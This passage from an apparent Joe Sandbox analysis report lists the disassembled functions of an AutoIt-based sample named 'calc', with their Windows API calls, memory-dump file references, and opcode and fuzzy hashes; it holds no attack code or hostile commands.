      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: IsThemeActive$uxtheme.dll
      • API String ID: 2574300362-3542929980
      • Opcode ID: ed6c78d227b817cdbed870c23739e6fb2758cfda5514cb43d7da1eea0dd35e15
      • Instruction ID: eea2efce3837e0203db1cb3c4d5c02faa46c89d2bfa5e81eac7c0935e43c98e4
      • Opcode Fuzzy Hash: ed6c78d227b817cdbed870c23739e6fb2758cfda5514cb43d7da1eea0dd35e15
      • Instruction Fuzzy Hash: 4ED0C9B1540702EECB205F61C8897127AE8BB14703F20987BF88AE26A1E778D644CA1C
      Function 0044FF81 Relevance: 6.2, APIs: 4, Instructions: 168fileCOMMON
      Download Yara Rule
      APIs
      • ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000003), ref: 0044FFFB
      • GetLastError.KERNEL32 ref: 00450005
      • ReadFile.KERNEL32(?,?,00000001,00000000,00000000), ref: 004500CE
      • GetLastError.KERNEL32 ref: 004500D8
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: ErrorFileLastRead
      • String ID:
      • API String ID: 1948546556-0
      • Opcode ID: 106ceec12e824d1f921699dafc9b08d4ae01bbaa5a8b869dbfd030dde0547a2e
      • Instruction ID: 6471931987010d01bcf4aa760061fc4daebf1b9b9bd924f830c326e67dc1cfed
      • Opcode Fuzzy Hash: 106ceec12e824d1f921699dafc9b08d4ae01bbaa5a8b869dbfd030dde0547a2e
      • Instruction Fuzzy Hash: DE61B5389047859FDB218F58C884BAE7BF0AF02316F14419BEC658B393D779D949CB1A
      Function 00442D0D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 90COMMON
      Download Yara Rule
      APIs
      Strings
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: _strcat
      • String ID: AU3!$EA05
      • API String ID: 1765576173-125543416
      • Opcode ID: 17153ac72172eb9a604a519bf3944ddec50a013f6248d7b1dea916bafee717f8
      • Instruction ID: 29d5f5a1b1809eb385cd818f5a50e58fa9f1bd2989d91b3669fe8a792949b4ba
      • Opcode Fuzzy Hash: 17153ac72172eb9a604a519bf3944ddec50a013f6248d7b1dea916bafee717f8
      • Instruction Fuzzy Hash: 70218F71D402086AFB11DAA8CD46FEE3BA9AF44308F6408AFF141E7183E5F49244876A
      Function 0044FEA0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 79COMMON
      Download Yara Rule
      APIs
      Strings
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: __getbuf
      • String ID: o-D$pYF
      • API String ID: 554500569-2041862546
      • Opcode ID: 43c3c69ad03a229e1e8eb7df82381eef4f8a4a41fcf0637eb458d4d674484f8b
      • Instruction ID: 45ab4429e61f8382d5639e8b3e42171f035d9681ef4c197fd688d929c02a0895
      • Opcode Fuzzy Hash: 43c3c69ad03a229e1e8eb7df82381eef4f8a4a41fcf0637eb458d4d674484f8b
      • Instruction Fuzzy Hash: FD219331414B018FE7348E29C450763B7E1AF56374B248A2FE4F6877D2D739A84E8B48
      Function 0044FAF0 Relevance: 4.6, APIs: 3, Instructions: 146fileCOMMONLIBRARYCODE
      Download Yara Rule
      APIs
      • WriteFile.KERNEL32(?,?,?,?,00000000,?,?,00000001), ref: 0044FBE0
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: FileWrite
      • String ID:
      • API String ID: 3934441357-0
      • Opcode ID: 2232f439ec6bcbb526f72077e2e8a9aff7e1540724577345c53341a595c8efdf
      • Instruction ID: 70d429ee7121439abd4bc97c56a079324356a00733651e9dd73cd6a5f99de41e
      • Opcode Fuzzy Hash: 2232f439ec6bcbb526f72077e2e8a9aff7e1540724577345c53341a595c8efdf
      • Instruction Fuzzy Hash: E5514E71900248CFEF25DFA8C984AADBBB8FF0A305F24056EE8559B252D7349909CB19
      Function 00414E97 Relevance: 4.6, APIs: 3, Instructions: 75COMMON
      Download Yara Rule
      APIs
      • SHGetMalloc.SHELL32(?), ref: 00414EB8
      • SHGetDesktopFolder.SHELL32(?), ref: 00414ED7
      • SHGetPathFromIDListW.SHELL32(?,?), ref: 00414F0D
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: DesktopFolderFromListMallocPath
      • String ID:
      • API String ID: 2281215042-0
      • Opcode ID: fd54a320faa334825c183696fc3281f20257b6f4e8e051d3b8ff61a2d48e6b5c
      • Instruction ID: 420e6610a152b6402536c0acf94c904dc319534d543c5730a20390f59e048e41
      • Opcode Fuzzy Hash: fd54a320faa334825c183696fc3281f20257b6f4e8e051d3b8ff61a2d48e6b5c
      • Instruction Fuzzy Hash: 44218C76900219ABDB10DFA0D888EDEB7B9AF48710F10409AF9059B290DB35EE45CB58
      Function 00401852 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 46COMMON
      Download Yara Rule
      APIs
        • Part of subcall function 00401904: LoadLibraryA.KERNELBASE(uxtheme.dll,00401884), ref: 0040190F
        • Part of subcall function 00401904: GetProcAddress.KERNEL32(00000000,IsThemeActive), ref: 00401921
      • FreeLibrary.KERNEL32(?,0047BCF4,?), ref: 004018E0
      Strings
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: Library$AddressFreeLoadProc
      • String ID: #v
      • API String ID: 145871493-554117064
      • Opcode ID: afee0c295e40e99ab34158f1244b547d01bcead8f6ed44e632cc355ff5b29751
      • Instruction ID: 01922d125a099be2173beefaa94b615fd73c8a70fa8edead01576b879d90f1d3
      • Opcode Fuzzy Hash: afee0c295e40e99ab34158f1244b547d01bcead8f6ed44e632cc355ff5b29751
      • Instruction Fuzzy Hash: 9F0140B2D04204AFD701BFAAAC0159DBBE4EB94708B10C07BF904E3261D7B85A40DB5E
      Function 00442C1C Relevance: 3.1, APIs: 2, Instructions: 85COMMON
      Download Yara Rule
      APIs
        • Part of subcall function 004168A2: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,0045C6D0,?,?,?,00442C32,00000000,0045C6D0), ref: 004168CE
        • Part of subcall function 004168A2: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00442C32,00000000,0045C6D0), ref: 004168F0
      • _strcat.LIBCMT ref: 00442C49
      • _strcat.LIBCMT ref: 00442C56
        • Part of subcall function 00442A91: _strlen.LIBCMT ref: 00442A99
        • Part of subcall function 00442D0D: _strcat.LIBCMT ref: 00442D41
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: _strcat$ByteCharMultiWide$_strlen
      • String ID:
      • API String ID: 1312754939-0
      • Opcode ID: bedb7ca2922ce659903e2fe4b674b38f4b77e69a7d06eca3cc212a1eff07f0cd
      • Instruction ID: b0cc53737743a3ac0a727fc92c25a37191f4a65ad63c267f3757994ee01627ef
      • Opcode Fuzzy Hash: bedb7ca2922ce659903e2fe4b674b38f4b77e69a7d06eca3cc212a1eff07f0cd
      • Instruction Fuzzy Hash: 96219DB29105242FFB20BB768C82B9EB79CFF01318F50896FF465D2182EB7CD9104699
      Function 0044F7F5 Relevance: 3.0, APIs: 2, Instructions: 43COMMONLIBRARYCODE
      Download Yara Rule
      APIs
      • SetFilePointer.KERNELBASE(00000000,00000000,00000000,?,?,?,0044F8C0,?,00000000,0044EFF8,0045B9B8,0000000C,0044CCA9,?,00000000,00000002), ref: 0044F822
      • GetLastError.KERNEL32 ref: 0044F82F
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: ErrorFileLastPointer
      • String ID:
      • API String ID: 2976181284-0
      • Opcode ID: ef301333862fd523fcfef0701836ec2e687ab67301aea6ab59806455b9707fa4
      • Instruction ID: f4beb2f81c7b533093f19090f57eb703413f6fe32cdcc2261b4f7d7860460413
      • Opcode Fuzzy Hash: ef301333862fd523fcfef0701836ec2e687ab67301aea6ab59806455b9707fa4
      • Instruction Fuzzy Hash: 6101F4326046215AEB106F3CFC0895E37649B81331F120B6AF171CF2E2DF34CC458269
      Function 00449C88 Relevance: 3.0, APIs: 2, Instructions: 35memoryCOMMONLIBRARYCODE
      Download Yara Rule
      APIs
      • __lock.LIBCMT ref: 00449CA6
        • Part of subcall function 0044C6DB: RtlEnterCriticalSection.NTDLL(?), ref: 0044C703
      • RtlFreeHeap.NTDLL(00000000,?,0045B078,0000000C,0044C6BF,00000000,0045B3A0,00000008,0044C6F4,?,?,?,00449A5F,00000004,0045B068,0000000C), ref: 00449CED
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: CriticalEnterFreeHeapSection__lock
      • String ID:
      • API String ID: 3012239193-0
      • Opcode ID: cf883bd2fe04d4a07ca51566a703a3cd097dd1853a5e94b071277c6f3932a8ef
      • Instruction ID: 352e0a56757a29f70fda5dbbd02c219ebdc15a73ecec0d8b306ef4bd3729acd0
      • Opcode Fuzzy Hash: cf883bd2fe04d4a07ca51566a703a3cd097dd1853a5e94b071277c6f3932a8ef
      • Instruction Fuzzy Hash: FCF0F030841202AAFF706B629C46B5F7BA0AF00768F20011FF4102A1D1CB3C5D41AA8C
      Function 00449A38 Relevance: 3.0, APIs: 2, Instructions: 34memoryCOMMONLIBRARYCODE
      Download Yara Rule
      APIs
      • __lock.LIBCMT ref: 00449A5A
        • Part of subcall function 0044C6DB: RtlEnterCriticalSection.NTDLL(?), ref: 0044C703
      • RtlAllocateHeap.NTDLL(00000000,?,0045B068), ref: 00449A9B
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: AllocateCriticalEnterHeapSection__lock
      • String ID:
      • API String ID: 409319249-0
      • Opcode ID: ba8956f323e289275a4f63e35acf058c2551b89be229d334ec6b190de484c1ae
      • Instruction ID: fdb724486434b2d6e8ccd2904e3ef89b22f67d2e8c8e0598606752c53c52e891
      • Opcode Fuzzy Hash: ba8956f323e289275a4f63e35acf058c2551b89be229d334ec6b190de484c1ae
      • Instruction Fuzzy Hash: 3DF0C231C502509BEB60ABA19C0675F7360AB00768F20422EE8207A2F1C73C5C05A78C
      Function 0044E07D Relevance: 3.0, APIs: 2, Instructions: 26memoryCOMMON
      Download Yara Rule
      APIs
      • HeapCreate.KERNELBASE(00000000,00001000,00000000,0044BF66,00000001,?,0045B1B8,00000060), ref: 0044E08E
        • Part of subcall function 0044E0CE: RtlAllocateHeap.NTDLL(00000000,00000140,0044E0B6), ref: 0044E0DB
      • HeapDestroy.KERNEL32(?,0045B1B8,00000060), ref: 0044E0C1
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: Heap$AllocateCreateDestroy
      • String ID:
      • API String ID: 316229882-0
      • Opcode ID: a2267900713be7d8cbac622d64c56fe0b2f8973e4e4a166c9e297e1a64908aa3
      • Instruction ID: ca41273765c5c3aab36d8d05c3b896e55048c7fa67c0c8062e034f08bda47014
      • Opcode Fuzzy Hash: a2267900713be7d8cbac622d64c56fe0b2f8973e4e4a166c9e297e1a64908aa3
      • Instruction Fuzzy Hash: 60E048706613109AFB546B736C0572A36D4FB44747F004C3EF465C61E0EBB8CC449709
      Function 00416168 Relevance: 3.0, APIs: 2, Instructions: 23COMMON
      Download Yara Rule
      APIs
      • EnumResourceNamesW.KERNELBASE(00000000,0000000E,0041605B,000000A1,004012E6,000000A1,?,?,?,?,?,?,?,00401243,?,?), ref: 00416192
      • LoadImageW.USER32(000000A1,00000001,00000010,00000010,00000000,004012E6), ref: 004161B3
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: EnumImageLoadNamesResource
      • String ID:
      • API String ID: 1578290342-0
      • Opcode ID: 249b71e9550ada3b2cdf6ed6da1a3c1595c538e7d83d5dc9b0de724d6460e20e
      • Instruction ID: 388dc2f8e504b4818ad8221c326ea7f1357133d35e6b367d3968a5e83fac51bc
      • Opcode Fuzzy Hash: 249b71e9550ada3b2cdf6ed6da1a3c1595c538e7d83d5dc9b0de724d6460e20e
      • Instruction Fuzzy Hash: D2F06D70244300BBFB218F95ED49B5A3BA5AB40B5AF100D2AF104A55F0E3F4CA90DB9E
      Function 0044FD57 Relevance: 2.6, APIs: 2, Instructions: 52COMMON
      Download Yara Rule
      APIs
      • CloseHandle.KERNELBASE(00000000,00000000,00000000,00455E82,00000000), ref: 0044FD91
      • GetLastError.KERNEL32 ref: 0044FD9B
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: CloseErrorHandleLast
      • String ID:
      • API String ID: 918212764-0
      • Opcode ID: 4ebd943a157eb07ac9634cd6ca5a110ba93b6a05e5397113cf76f4c5a41d9ed1
      • Instruction ID: dfd6dc24ececc12b093a21fe2a3d80e4ea14aafa4b6e7905c67d2704a465acd5
      • Opcode Fuzzy Hash: 4ebd943a157eb07ac9634cd6ca5a110ba93b6a05e5397113cf76f4c5a41d9ed1
      • Instruction Fuzzy Hash: 3601F73AD0165155E7243639680AA5F22548FC1326F25097FF822C72C3DE1CC849419E
      Function 00443162 Relevance: 1.6, APIs: 1, Instructions: 138COMMON
      Download Yara Rule
      APIs
        • Part of subcall function 004168A2: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,0045C6D0,?,?,?,00442C32,00000000,0045C6D0), ref: 004168CE
      • _strcat.LIBCMT ref: 00443184
        • Part of subcall function 00449C88: __lock.LIBCMT ref: 00449CA6
        • Part of subcall function 00449C88: RtlFreeHeap.NTDLL(00000000,?,0045B078,0000000C,0044C6BF,00000000,0045B3A0,00000008,0044C6F4,?,?,?,00449A5F,00000004,0045B068,0000000C), ref: 00449CED
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: ByteCharFreeHeapMultiWide__lock_strcat
      • String ID:
      • API String ID: 4005365108-0
      • Opcode ID: ec13adeefd58fac65bc59d535bb5c74c5edd3f60e1ee1c83ae41600f452876aa
      • Instruction ID: 279db9349b9432370442bca1a9a1493b0779058484bbe6e66891083dc9997760
      • Opcode Fuzzy Hash: ec13adeefd58fac65bc59d535bb5c74c5edd3f60e1ee1c83ae41600f452876aa
      • Instruction Fuzzy Hash: E641CF71900208BBEB20EF62CC86EDFB7B9EF44704F10049FF554A2181D77AAB509B59
      Function 004183F6 Relevance: 1.5, APIs: 1, Instructions: 45COMMONLIBRARYCODE
      Download Yara Rule
      APIs
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
